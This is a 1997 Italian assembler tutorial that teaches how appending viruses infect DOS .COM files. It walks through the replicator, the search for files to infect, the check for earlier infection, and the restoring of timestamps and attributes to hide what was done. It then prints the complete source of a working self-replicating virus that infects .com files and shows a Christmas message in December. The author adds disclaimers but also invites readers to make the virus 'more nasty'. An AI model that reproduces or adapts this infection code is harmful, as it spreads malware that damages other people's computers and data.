VIRUS


Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi involontariamente sul tuo Hard Disk e che mandano in crisi il tuo PC.
Ora, tutto quello che spiegherò in questo tutorial non deve essere usato per scrivere nuovi e più potenti virus ma solo per imparare l'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere di attacchi.
Quindi non mi ritengo responsabile degli eventuali danni che apporterete al vostro computer o a quello dei vostri amici. Stateci attenti.
Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano più tanti (di file COM!), in particolare tratterò gli appending viruses, cioè quelli che si agganciano alla fine del file senza distruggerlo.

Un virus è composto principalmente da due parti : il replicatore e la cosiddetta "bomb".
Il replicatore è quella parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare quanti più file possibile, la bomb è la parte più divertente ed è quella che svolge l'operazione per cui è stato designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore.

IL REPLICATORE
Il compito del replicatore come abbiamo già detto è quello di duplicarsi infettando altri files.
Come si può fare?
Consideriamo un pgm (.COM) esso può essere scomposto in 2 parti:

    +---+-----------+
    |P1 |     P2    |      vittima.com
    +---+-----------+
Anche il virus essendo un pgm può essere così diviso:
    +---+---------+
    |V1 |     V2  |      virus.com
    +---+---------+
I passi che il virus deve eseguire per replicarsi sono i seguenti:

1.Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione:

   +---+------------+---+
   |V1 |    P2      |P1 |
   +---+------------+---+
2.Ora il virus copia la seconda parte (V2) in fondo al file:
  +---+-------------+---+---------+
  |V1 |     P2      |P1 |   V2    |
  +---+-------------+---+---------+
Vi starete chiedendo che ca.. c'è dentro V1 e V2.
Il compito di V1 è quello di passare il controllo a V2 e consiste in un salto, così quando eseguo il programma infetto la prima cosa che si fa è saltare al codice del virus contenuto in V2. Una volta eseguito V2 il controllo torna al programma.
Semplice vero? Beh non proprio.
Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare un file:
  1. Cerca il file da infettare
  2. Controlla se è già infetto
  3. Se si torna a 1
  4. Infettalo!!
  5. Torna a 1 oppure esci se na hai abbastanza
Vediamole nel dettaglio:

PASSO 1 - Cerco il file da infettare
Si può decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere più possibilità di diffondersi.
Cercare in più directory può rallentare l'esecuzione del programma al quale è attaccato e può quindi sollevare sospetti nell'utente, quindi state attenti.
Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che è una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può essere una cosa del tipo:

        mov     ah,1Ah                  ;Prende il DTA e lo mette in 
        lea     dx,[bp+OFFSET DTA]      ;una variabile di nome DTA (!!)
        int     21h

        mov     ah,4Eh                  ;cerca il primo file
        mov     cx,0007h                ;Qualsiasi attributo
        lea     dx,[bp+OFFSET file_mask];DS:[DX] --> file_mask
        int     21h
        jc      non_trovato             ;non l'ha trovato

ancora: call    controlla_infezione     ;guarda se è gia infetto
					;e se non lo è lo infetta
        mov     ah,4Fh                  ;cerca il prox
        int     21h
        jnc     ancora
non_trovato:
In questo frammento file_mask può essere '*.*' '*.EXE' o come useremo noi '*.COM'.


PASSO 2 - Controlla se è già infetto
Un metodo abbastanza semplice per sapere se un file è già infetto o meno è di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta successiva.
Ad esempio:

        mov     ah,3Fh                  ;legge i primi 4 byte del file
        mov     cx,4                    ;e li mette in buffer
        lea     dx,[bp+OFFSET buffer]
        int     21h

        cmp     byte ptr [buffer+3],ID_Byte	;controllo il 4° byte
        je      gia_fatto               ;se sono uguali è già infetto
infettalo:....
Un altro modo più complesso è quello di cercare una serie di istruzioni caratteristiche del virus.

PASSO 3 - Infettalo!!!
Questa è la parte più difficile e importante: il cuore del replicatore. Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella: tabella seguente:

        Offset  Dimensione      Significato
        -------------------------------------------
        0h      21 bytes        Riservati (?)
        15h     byte            Attributi del file
        16h     word            ora
        18h     word            data
        20h     dword           dimensione
        1Eh     13bytes         nome(ASCIIZ) + estensione
Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta:
        lea     si,[bp+OFFSET DTA+15]
        mov     cx,9
        lea     di,[bp+OFFSET f_attr]
        rep     movsb
        ;varibili:
f_attr  db      ?
f_time  dw      ?
f_date  dw      ?
f_size  dd      ?
Per poter infettare i file di sistema, quelli nascosti ecc... dovete resettare gli attributi tramite l'int 21h,43h,01h.
Una volta fatto ciò potete aprire il file in lettura/scrittura ed effettuare l'infezione.

Dopo aver infettato il file (e lo vedremo nel dettaglio con un esempio) è importante cancellare le tracce dell'infezione ripristinando la data e l'ora e reimpostando gli attributi originali:

        mov     ax,5701h
        mov     dx,WORD PTR [bp+f_date]
        mov     cx,WORD PTR [bp+f_time]
        int     21h     ;ripristina data e ora

        mov     ah,4301h
        lea     dx,[bp+OFFSET DTA + 1Eh]
        xor     ch,ch
        mov     cl,BYTE PTR [bp+f_attrib]
        int     21h     ;ripristina gli attributi
Al solito per capire meglio il tutto vi presento un semplice virus.

Nota: per evitare problemi NON ho incluso nella directory prgs il programma assemblato virus.com (pensando che qualcuno potrebbe eseguirlo inavvertitamente, nonostante il suo nome così spudorato!). Potete però trovarci il sorgente virus.asm



;virus.asm - b0nu$, 1997 ;NB - Non mi assumo responsabilità sui danni causati da un uso incorretto ;di questo pgm. ; ;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale code segment byte public assume cs:code,ds:code,es:code,ss:code org 100h ;file .COM start: db 0E9h,0,0 ;Salta al prox comando virus: call inizio ;Salva l'indirizzo nello stack inizio: pop bp ;Setta BP sub bp,offset inizio lea si,[bp+offset oldjump] ;Indirizzo vecchio mov di,100h ;Salvo dove metterlo push di ;cosi possiamo ritornare movsb movsb movsb lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA mov ah,1ah ;setta il DTA!! int 21h lea dx,[bp+offset comfilespec] call findfirst ;cerca e infetta i file .com call get_month ;Controlla in che mese siamo cmp ax,000Ch ;E' 12? jne skip ;Se no salta gli auguri jmp short strt ;Si è Dicembre ! skip: jmp dend ;Salta la routine strt: lea si,[bp + testo] ;SI punta al testo da scrivere mov ah,0Eh ;Uso l'int 10h,0Eh per stampare disp: lodsb ;Carico il carattere or al,al ;Se è 0 è finita je dend int 010h ;visualizzo il car jmp short disp ;prendo il prox carattere dend: mov dx,80h ;Indirizzo del DTA originale ;Lo rimetto dov'era mov ah,1ah ;setta il DTA!! int 21h retn ;Ritorno al pgm findfirst: mov ah,4eh ;trova il primo file mov cx,7 ;con questi attributi findnext: int 21h ;Trovo il prox jc quit ;Se non trovo niente smetto call infection ;Altrimenti infetto Findnext2: mov ah,4fh ;Cerco il prox jmp findnext ;Ciclo quit: ret ;stop! infection: mov ax,3d00h ;Apro il file in lettura call open mov cx,1ah lea dx,[bp+offset buffer] ;salvo i dati mov ah,3fh ;Leggo int 21h mov ah,3eh ;chiudo il file int 21h CheckCom: mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto add cx,eof-virus+3 ;e ci sommo la lunghezza del ;virus cmp bx,cx ;controllo dimensione jz quitinfect jmp infectcom quitinfect: ret InfectCom: sub bx,3 ;setto per il nuovo salto lea di,[bp+oldjump] lea si,[bp+buffer] movsw movsb mov [bp+buffer],byte ptr 0e9h mov word ptr [bp+buffer+1],bx ;salvo mov cx,3 ;numero di byte da scrivere jmp finishinfection FinishInfection: push cx ;salvo il numero di byte ;da scrivere xor cx,cx ;azzero attributi call attributes mov al,2 ;apro il file in lett/scritt call open lea dx,[bp+buffer] ;dx punta ai dati pop cx ;cx=numero byte mov ah,40h ;scrivo int 21h jc closefile mov al,02 ;sposto il puntatore in fondo Call move_fp mov cx,eof-virus ;dimensione virus lea dx,[bp+offset virus] ;indirizzo di inizio mov ah,40h ;scrivo il virus int 21h closefile: mov ax,5701h ;ripristina ora e data mov dx,word ptr [bp+dta+18h] mov cx,word ptr [bp+dta+16h] ;sono ne DTA!! int 21h mov ah,3eh ;chiudo il file int 21h xor cx,cx mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib. call attributes retn move_fp: ;muove il puntatore xor cx,cx ;del file ad al xor dx,dx ; mov ah,42h int 21h retn open: lea dx,[bp+DTA+30] ;il nome è nel DTA mov ah,3dh ;apre il file int 21h xchg ax,bx ;bx contine l'handle ret attributes: lea dx,[bp+DTA+30] mov ax,4301h ; setta gli attrib. int 21h ret get_month proc near mov ah,02Ah ;Preleva la data int 021h mov al,dh ;al=mese cbw ;estende ad ax ret get_month endp testo db 13,10,13,10,"Buon Natale a tutti !!!",13,10,0 comfilespec db '*.com',0 ;file da cercare oldjump db 090h,0CDh,020h ;Vecchio jump eof equ $ ;Segna la fine del file buffer db 1Ah dup(?) dta db 42 dup(?) code ends end start
Il programma mi sembra già abbastanza commentato quindi non spenderò altro tempo per rispiegarvi cose già dette.
Non è che sia un virus "cattivo" vi fa solo gli auguri di Natale, comunque non occorre che sia io a dirvi cosa fare per renderlo più cattivello!!!! Per i file EXE magari dedicherò un altro tutorial....forse.
Vi prego ancora una volta di stare attenti a giocare con questi pgm.
Se proprio non resistete alla tentazione di sperimentare col programma o di modificarlo, fatelo ad es. sul vostro vecchio computer, oppure lavorate esclusivamente su dischetti che poi cancellerete e in ogni caso, prima di sperimentare assicuratevi di capire bene il codice riportato sopra, in modo che saprete esattamente cosa il virus fa in risposta alle vostre azioni.
Buon divertimento!
Assembly Page di Antonio
<< Indice >>